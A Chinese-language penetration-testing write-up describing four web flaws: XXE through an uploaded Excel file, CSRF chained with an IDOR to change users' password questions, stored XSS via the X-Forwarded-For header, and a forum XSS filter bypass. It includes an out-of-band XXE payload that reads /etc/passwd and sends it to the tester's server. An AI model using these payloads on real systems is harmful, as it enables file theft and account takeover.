文件解析造成的XXE
网站存在一个有意思的功能点,通过上传Excel会将内容显示在页面上,也就是说后端会解析Excel
Excel是通过XML来存储数据的,也就是说网站解析了XML,那么我们就可以在XML中注入语句来尝试攻击
新建一个"新建 Microsoft Excel 工作表.xlsx",将后缀改为.zip并解压
尝试在"[Content_Types].xml"中注入语句,之后再压缩回.zip然后重命名为"新建 Microsoft Excel 工作表.xlsx"
<!DOCTYPE a [ <!ENTITY % b SYSTEM "http://你服务器的IP/x.dtd">%b;%c;%xxe;]>
在自己服务器构造x.dtd,并开启access.log日志
<!ENTITY % c "<!ENTITY % xxe SYSTEM 'http://你服务器IP/XXE'>">
使用网站解析Excel,查看日志
成功调用外部实体
利用方式不用多说了吧,可以利用伪协议读取文件或系统命令执行
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % c "<!ENTITY % xxe SYSTEM 'http://你服务器IP/%file;'>">
CSRF与逻辑漏洞的组合拳
登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包
尝试用GET请求来代替POST请求,https://xxx/xxx?a=1&b=2&c=3&x=MTIzNA==
修改成功,说明后端可以接收GET请求,也就是说如果用户在登录的情况下点开了此链接密保就会被修改
但是有个致命的问题需要解决,像a=1这种明显是问题与答案,那么x=MTIzNA==是什么呢
MTIzNA==显然是base64编码后的结果,解码发现是1234,应该是用来进行身份验证的,不同用户的x值不同
幸好发现了一个页面存在水平越权漏洞,可以通过遍历x来获取用户信息
通过这种方式即可遍历所有用户的x值,也就说可以构造恶意链接了
再结合网站自己的邮件功能即可将恶意链接发送给指定用户,导致用户密码被改
经尝试修改成功,也就是说网站也没有验证Referer
登录处的存储型XSS
找到一个登录框,直接登录,看到一排按钮
个人 | 登录日志 | 设置 |
---|
本次漏洞就出在这个登录日志上,点开它
IP | 时间 | 状态 |
---|---|---|
x.x.x.x | 2022 | 成功 |
到这里就应该有思路了,页面显示了用户的IP,也就是存在交互点,那么我们就可以尝试将JS注入IP一栏
状态显然不止有"成功",肯定也有"失败",不然它就没有意义了,也就是说如果存在注入,我们无需登录即可将JS注入用户界面,进而在用户登录后造成攻击
现在的问题是,如何修改IP,也就是探究网站识别用户IP的方式是什么
简单试了一下添加XFF请求头,X-Forwarded-For: <script>alert(1);</script>
先故意输入错误的密码,然后去掉XFF请求头正常登录
成功弹框,验证了漏洞存在,关掉弹框看一下,逗号左边就是JS代码了,只不过看不到
IP | 时间 | 状态 |
---|---|---|
x.x.x.x | 2022 | 成功 |
,x.x.x.x | 2022 | 失败 |
x.x.x.x | 2022 | 成功 |
论坛的存储型XSS
先插一下试试
结果页面显示了<script>alert(1);</script>并没有出现弹框,说明<>被编码了
添加一个链接然后发表,并进行抓包
将href值修改为javascript:alert(1);
成功弹框,也就是说有些标签的<>不会被编码
再找一个绕过方式
添加一个图片然后发表,并进行抓包
修改为<img src=1 onerror="alert(1);"/>
结果并没有出现弹框,查看前端代码,onerror被替换为空了<img src=1 ="alert(1);"/>
尝试双写绕过onerroonerrorr,让中间的onerror被替换为空,最后保留一个onerror